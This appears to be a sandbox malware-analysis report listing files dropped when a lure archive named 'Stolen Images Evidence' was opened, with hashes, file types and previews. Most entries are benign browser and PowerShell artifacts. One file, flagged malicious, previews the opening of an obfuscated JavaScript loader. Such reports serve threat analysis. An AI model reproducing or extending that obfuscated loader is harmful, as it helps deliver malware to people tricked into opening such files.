SSDEEP:	3:rR6TAulhFphifFJWlb0ddSSUHBFgS1UBxEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlMuRkQ90S1omWfB0NpK4aotL
MD5:	9DC578E6AAC4DF003B0BDA4219F33037
SHA1:	4ABE9C02B67BB2FE1B7E41BB489A10D4F7ED9999
SHA-256:	14C58310F7B177F402CDB7D19E0675C8EF881125E3BDFE3AC3635E87C233C5F8
SHA-512:	FE7DA37DA19DD4F4270F6FB40E8E85D344E0FAE7E897D13A5BF48F95C00BD8BA79F9C259ABF78DC1BA4D3E1C9EAE9114EACAF14940C859B24C4D2B8065DE6A45
Malicious:	false
Reputation:	low
Preview:	{. "manifest_version": 2,. "name": "crl-set-17991790747887759535.data",. "version": "6922",. "imageName": "image.squash",. "squash": true,. "fsType": "squashfs",. "isRemovable": false.}

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_12jdrigf.epg.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1y1sntys.cwu.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_53pfoc5b.ttl.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_blnw2bwj.gvp.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ltbwivfe.ov0.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rg10wbzy.d5w.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\browser-sslkeys.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	18672
Entropy (8bit):	4.647200923249948
Encrypted:	false
SSDEEP:	192:WZOy4/GCAj6nq25CtAk+kF9aU12/kqlaAxTS+XYPAU7XKd3GxNjTyc3Kvt4y32u9:PCskF9S/0bDUGxlytA/jNUbedxrGHdtV
MD5:	4C858C56ECC230A0DDF49B6356F00C33
SHA1:	7F2D914DADC1E69332856B5022822DD0EC242F0E
SHA-256:	622D1E2E5AB43B292E0B964BEB5949650A84C821FDD87A7D6DC18B9DAEACE09F
SHA-512:	FB52A6CB0BADCCD976BE597618776D4EFEA73D2ABD1BD1FFFB450AB5D4D3DE9A19154DDA7CD054AAC2F93804DCD9E0AFD2259D51EC93EC2285F16E07E471DB5A
Malicious:	false
Reputation:	low
Preview:	CLIENT_HANDSHAKE_TRAFFIC_SECRET dba52403e987d6876777104e21cb23c4a5c8ff8e825a74793152025b9bd99532 437d6719cbb775e435de7923f849cde4f3ebd97bee145a9492e981d6cf484db7.SERVER_HANDSHAKE_TRAFFIC_SECRET dba52403e987d6876777104e21cb23c4a5c8ff8e825a74793152025b9bd99532 8cc482c4c3960e00fcc8114614fcbf27f76a59a3ba05439f66d3c1894065ad58.CLIENT_HANDSHAKE_TRAFFIC_SECRET a3998d8a6fe7b98c6cbd35f639707e858357808e850a1c8c0d6c4e5d1ddb3e65 74f76afacb2cdedf2af8e2aab751eca82ee657959d418485b619e6b0dfdb4659.SERVER_HANDSHAKE_TRAFFIC_SECRET a3998d8a6fe7b98c6cbd35f639707e858357808e850a1c8c0d6c4e5d1ddb3e65 d5a1a0fd30b95b9a723ef10ca3d73851d61d8a917a279b7b3de226d3042e3d74.CLIENT_HANDSHAKE_TRAFFIC_SECRET a5ae677984d5f61e0d8148fad0c9404e30b380944012f95440c6eb71f92d3242 db951a3939c1c135cbfee0a74435779b2be71d5e412efb95a69434bc091cd012.SERVER_HANDSHAKE_TRAFFIC_SECRET a5ae677984d5f61e0d8148fad0c9404e30b380944012f95440c6eb71f92d3242 17cc8829dcc7ae06ab673aaae78b791ba0a91b50a9347f8b922fd3918ca2fa4c.CLIENT_HANDSHAKE_TRAFFIC_SEC

C:\Users\user\AppData\Local\Temp\c7663ab8-80e5-4b42-81bb-1af0e6044112.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	low
Preview:	.

C:\Users\user\AppData\Local\Temp\fd0f82e7-4883-4bf9-b994-9f83be387aab.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	low
Preview:	.

C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js Download File
Process:	C:\Windows\SysWOW64\7za.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	18464
Entropy (8bit):	5.3485129141166805
Encrypted:	false
SSDEEP:	384:er9FunzlX09xhehh1/t1pvM9gmd2D5nI7f8Vs6diq:wFslEDheh/rpv8YRyCV
MD5:	C296C760658B4E066C5BD5C08DCB833F
SHA1:	20DCBE554BA6F271E0169ED827197307151D490A
SHA-256:	B16109170360BE84A3B1023A38C195CAD2B170F115E726F719F05F09BD1EDE3F
SHA-512:	0DADEE98DE797748442BB53C21980BB4FD065F6D285BECA37A172B408212BDAD6F518F01CFA017E552669BA3D9DD03AAF2156D0201CEA82222E76D29D71213DA
Malicious:	true
Reputation:	low
Preview:	var _0x2e59a1=_0xb28c;var _0x50c456=_0xb28c;var _0x4ad960=_0xb28c;var _0x5c61a7=_0xb28c;var _0x2d71fa=_0xb28c;var _0x2c0829=_0xb28c;var _0x1f6455=_0xb28c;(function(_0x342afd,_0x173f2b){var _0x3195e1=_0xb28c;var _0x210e87=_0xb28c;var _0x530b8b=_0xb28c;var _0x41d915=_0xb28c;var _0x50bb2c=_0xb28c;var _0x191ed3=_0xb28c;var _0x27c784=_0xb28c;var _0x42a4ff=_0x342afd();while(!![]){try{var _0x4959a5=-parseInt(_0x3195e1('0x25b'))/(0x1ec8+-0x3-0x568+-0x2eff)+-parseInt(_0x210e87('0x1c4'))/(0xa39+-0xbd2+0x19b)(parseInt(_0x210e87('0x222'))/(-0x2152+-0x772-0x1+0x19e3))+-parseInt(_0x3195e1('0x275'))/(-0xb1a+-0x1686+0x10x21a4)(-parseInt(_0x41d915('0x1f7'))/(0x1a0x11a+-0x9f3+-0x12ac))+parseInt(_0x530b8b('0x244'))/(-0xa7b+0x1-0x24af+-0x12e-0x28)(parseInt(_0x41d915('0x22f'))/(0x1-0xc36+-0x2680+0x32bd))+-parseInt(_0x3195e1('0x1bd'))/(0x1-0x7a2+-0x77-0x1f+0x6bf-0x1)(parseInt(_0x210e87('0x234'))/(0x2-0xda5+0x1286-0x2+0x15750x3))+parseInt(_0x41d915('0x207'))/(-0x1ead+-0x3d70x1+0x1147*0x2)+p

C:\Users\user\AppData\Local\Temp\l1hqdlrq.vzo\unarchiver.log Download File
Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1518
Entropy (8bit):	5.1046858572105425
Encrypted:	false
SSDEEP:	24:MPSTyA0sviJoviJjWIPQviJoviJUwCviJfVviJoviJFTdyAviJbuviJOyAviJoBL:JmnOGKGbKGKGpkGtGKGpIyGbAGPyGyGw
MD5:	A588CB38FBD2736A23781E1CA4B8D60F
SHA1:	C30854F759991111763C43B54A4D214268581571
SHA-256:	DEC2F3A437DE14CE24640B19F2DCFB4D52AFFDF45349B157EB554FE38D16CD53
SHA-512:	736DC5E9084630F71FF8693170F6E0D54DC46638276763FF583267263D4D0458F1D7EBC015D7B5FA737F81578E08A26B305286832B67FFDAB8D48763B2F3A9E6
Malicious:	false
Reputation:	low
Preview:	10/18/2021 10:46 PM: Unpack: C:\Users\user\Downloads\Stolen Images Evidence (1).zip..10/18/2021 10:46 PM: Tmp dir: C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n..10/18/2021 10:46 PM: Received from standard out: ..10/18/2021 10:46 PM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..10/18/2021 10:46 PM: Received from standard out: ..10/18/2021 10:46 PM: Received from standard out: Scanning the drive for archives:..10/18/2021 10:46 PM: Received from standard out: 1 file, 5511 bytes (6 KiB)..10/18/2021 10:46 PM: Received from standard out: ..10/18/2021 10:46 PM: Received from standard out: Extracting archive: C:\Users\user\Downloads\Stolen Images Evidence (1).zip..10/18/2021 10:46 PM: Received from standard out: --..10/18/2021 10:46 PM: Received from standard out: Path = C:\Users\user\Downloads\Stolen Images Evidence (1).zip..10/18/2021 10:46 PM: Received from standard out: Type = zip..10/18/2021 10:46 PM: Received from standard out

C:\Users\user\AppData\Local\Temp\qlf1lbs4.nlq\unarchiver.log Download File
Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1518
Entropy (8bit):	5.1038496296734515
Encrypted:	false
SSDEEP:	24:MPSTy10SviJoviJjWIPQviJoviJUwCviJfVviJoviJFTdy1viJbuviJOy1viJoBd:JmiUGKGbKGKGpkGtGKGpIlGbAGPlGyGi
MD5:	E6248D529D5C4530D78E9AF9905F32E8
SHA1:	79F6044C13013BFFFDBDE9101C8195BB7BBAE5E5
SHA-256:	DB99D77112C7B50505892CCAB7D0CD52EA82444FE23EC2B57A12A800C87FA562
SHA-512:	14D28169FA646C76043EEE974B94F73C9F4A4946882B1DE920175ABAA6E87CDF9CE06E03581A8E0AA548BA5534E7AE218D9C703A50969F7F37BB9296D3E47DA0
Malicious:	false
Reputation:	low
Preview:	10/18/2021 10:46 PM: Unpack: C:\Users\user\Downloads\Stolen Images Evidence (2).zip..10/18/2021 10:46 PM: Tmp dir: C:\Users\user\AppData\Local\Temp\s4fhf54g.u35..10/18/2021 10:46 PM: Received from standard out: ..10/18/2021 10:46 PM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..10/18/2021 10:46 PM: Received from standard out: ..10/18/2021 10:46 PM: Received from standard out: Scanning the drive for archives:..10/18/2021 10:46 PM: Received from standard out: 1 file, 5511 bytes (6 KiB)..10/18/2021 10:46 PM: Received from standard out: ..10/18/2021 10:46 PM: Received from standard out: Extracting archive: C:\Users\user\Downloads\Stolen Images Evidence (2).zip..10/18/2021 10:46 PM: Received from standard out: --..10/18/2021 10:46 PM: Received from standard out: Path = C:\Users\user\Downloads\Stolen Images Evidence (2).zip..10/18/2021 10:46 PM: Received from standard out: Type = zip..10/18/2021 10:46 PM: Received from standard out

C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js Download File
Process:	C:\Windows\SysWOW64\7za.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	18464
Entropy (8bit):	5.3485129141166805
Encrypted:	false
SSDEEP:	384:er9FunzlX09xhehh1/t1pvM9gmd2D5nI7f8Vs6diq:wFslEDheh/rpv8YRyCV
MD5:	C296C760658B4E066C5BD5C08DCB833F
SHA1:	20DCBE554BA6F271E0169ED827197307151D490A
SHA-256:	B16109170360BE84A3B1023A38C195CAD2B170F115E726F719F05F09BD1EDE3F
SHA-512:	0DADEE98DE797748442BB53C21980BB4FD065F6D285BECA37A172B408212BDAD6F518F01CFA017E552669BA3D9DD03AAF2156D0201CEA82222E76D29D71213DA
Malicious:	false
Reputation:	low
Preview:	var _0x2e59a1=_0xb28c;var _0x50c456=_0xb28c;var _0x4ad960=_0xb28c;var _0x5c61a7=_0xb28c;var _0x2d71fa=_0xb28c;var _0x2c0829=_0xb28c;var _0x1f6455=_0xb28c;(function(_0x342afd,_0x173f2b){var _0x3195e1=_0xb28c;var _0x210e87=_0xb28c;var _0x530b8b=_0xb28c;var _0x41d915=_0xb28c;var _0x50bb2c=_0xb28c;var _0x191ed3=_0xb28c;var _0x27c784=_0xb28c;var _0x42a4ff=_0x342afd();while(!![]){try{var _0x4959a5=-parseInt(_0x3195e1('0x25b'))/(0x1ec8+-0x3-0x568+-0x2eff)+-parseInt(_0x210e87('0x1c4'))/(0xa39+-0xbd2+0x19b)(parseInt(_0x210e87('0x222'))/(-0x2152+-0x772-0x1+0x19e3))+-parseInt(_0x3195e1('0x275'))/(-0xb1a+-0x1686+0x10x21a4)(-parseInt(_0x41d915('0x1f7'))/(0x1a0x11a+-0x9f3+-0x12ac))+parseInt(_0x530b8b('0x244'))/(-0xa7b+0x1-0x24af+-0x12e-0x28)(parseInt(_0x41d915('0x22f'))/(0x1-0xc36+-0x2680+0x32bd))+-parseInt(_0x3195e1('0x1bd'))/(0x1-0x7a2+-0x77-0x1f+0x6bf-0x1)(parseInt(_0x210e87('0x234'))/(0x2-0xda5+0x1286-0x2+0x15750x3))+parseInt(_0x41d915('0x207'))/(-0x1ead+-0x3d70x1+0x1147*0x2)+p

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\3a880be2-2fb5-478b-99b5-315d182abac3.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	248531
Entropy (8bit):	7.963657412635355
Encrypted:	false
SSDEEP:	3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL
MD5:	541F52E24FE1EF9F8E12377A6CCAE0C0
SHA1:	189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6
SHA-256:	81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82
SHA-512:	D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C88
Malicious:	false
Reputation:	low
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u....k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f\|.~.c.4.E.......0..0....H............0.......).'..b.$w\$.q&.]zF_2..;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.\|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$\|..\|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z....).(6..@?v.;~..2..c....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...\|!..A..L.+.=...kP.!.1..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\bg\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	796
Entropy (8bit):	4.864931792423268
Encrypted:	false
SSDEEP:	12:1HEJMLkSlwZGGMLkSlwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJ03OyZnLt:1HE7n4gn8WYpYrbhz8ZpotHOGAOf6aD
MD5:	6F8E288A9AD5B1ED8633B430E2B4D4CA
SHA1:	F671D3D4BEFA431D1946D706F4192D44E29B6F08
SHA-256:	A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8
SHA-512:	0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F7700C
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "........ . ... ........ .. Chrome".. },.. "app_name": {.. "message": "........ . ... ........ .. Chrome".. },.. "craw_app_unavailable": {.. "message": "........... .... ...... .. .............".. },.. "craw_connect_to_network": {.. "message": "...., ........ .. . ......".. },.. "iap_unavailable": {.. "message": "........... .... ...... .. .......... ....... .. .........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "...., ...... . Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\ca\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	675
Entropy (8bit):	4.536753193530313
Encrypted:	false
SSDEEP:	12:1HEJ0gbbGG0gbb+WYpU34g3YbiLO+dgyGFoO8ZpU34+puiPmb03OyZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOfKD
MD5:	1FDAFC926391BD580B655FBAF46ED260
SHA1:	C95743C3F43B2B099FEBEBC5BD850F0C20E820AC
SHA-256:	C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20
SHA-512:	39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CBB4
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Sistema de pagaments de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagaments de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Ara mateix aquesta aplicaci. no est. disponible.".. },.. "craw_connect_to_network": {.. "message": "Connecteu-vos a una xarxa.".. },.. "iap_unavailable": {.. "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Inicieu la sessi. a Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\cs\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	641
Entropy (8bit):	4.698608127109193
Encrypted:	false
SSDEEP:	12:1HEJfZGGfZ+WYpU34OBh+dgN/O8ZpU34j05U03OyZnLAOfTYWc:1HEl4G8WYpdt8Zpq5TOGAOfW
MD5:	76DEC64ED1556180B452A13C83171883
SHA1:	CFB1E56FD587BCDC459C1D9A683B71F9849058F9
SHA-256:	32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40
SHA-512:	5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885CB
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "app_name": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplikace v sou.asn. dob. nen. dostupn..".. },.. "craw_connect_to_network": {.. "message": "P.ipojte se pros.m k s.ti.".. },.. "iap_unavailable": {.. "message": "Platby v aplikaci aktu.ln. nejsou k dispozici.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "P.ihlaste se do Chromu.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\da\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	4.5289746475384565
Encrypted:	false
SSDEEP:	12:1HEJJMKKFZGGJMKKFZ+WYpU34OHu+dgxlCZO8ZpU34J4Wu03OyZnLAOfTYzD:1HErMKfqMKVWYpM6lL8ZpDNOGAOfiD
MD5:	238B97A36E411E42FF37CEFAF2927ED1
SHA1:	4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0
SHA-256:	4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9
SHA-512:	FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53E0A
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Betalinger i Chrome Webshop".. },.. "app_name": {.. "message": "Betalinger i Chrome Webshop".. },.. "craw_app_unavailable": {.. "message": "Appen er ikke tilg.ngelig i .jeblikket.".. },.. "craw_connect_to_network": {.. "message": "Opret forbindelse til et netv.rk.".. },.. "iap_unavailable": {.. "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Log ind p. Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\de\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	651
Entropy (8bit):	4.583694000020627
Encrypted:	false
SSDEEP:	12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgJMlCTO8ZpU34p6FK603OyZnLAOfTYJ6K:1HEzWWYp3Bewv8Zp7k4OGAOfQj
MD5:	6B3E916E8C1991AA0453CBA00FEDCAAA
SHA1:	D6366D15912E40CA107FD42BFE9579C3336A51F9
SHA-256:	A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053
SHA-512:	87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80552
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome Web Store-Zahlungen".. },.. "app_name": {.. "message": "Chrome Web Store-Zahlungen".. },.. "craw_app_unavailable": {.. "message": "Die App ist momentan nicht verf.gbar.".. },.. "craw_connect_to_network": {.. "message": "Bitte stellen Sie eine Verbindung zu einem Netzwerk her.".. },.. "iap_unavailable": {.. "message": "In-App-Zahlungen sind momentan nicht m.glich.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Bitte melden Sie sich in Chrome an.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\el\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.973349962793468
Encrypted:	false
SSDEEP:	24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWlOGAOf+XD:WguYpCZnpEZbGoD
MD5:	05C437A322C1148B5F78B2F341339147
SHA1:	AB53003A678E44A170E73711FBD9949833BBF3AA
SHA-256:	A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070
SHA-512:	C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B40
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "........ ... Chrome Web Store".. },.. "app_name": {.. "message": "........ ... Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": ". ........ .... .. ..... ... ..... ..........".. },.. "craw_connect_to_network": {.. "message": ".......... .. ... .......".. },.. "iap_unavailable": {.. "message": ".. ........ ..... ......... ... ..... ..... .. ...... ...........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": ".......... ... Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\en\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.483686991119526
Encrypted:	false
SSDEEP:	12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD
MD5:	91F5BC87FD478A007EC68C4E8ADF11AC
SHA1:	D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6
SHA-256:	92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9
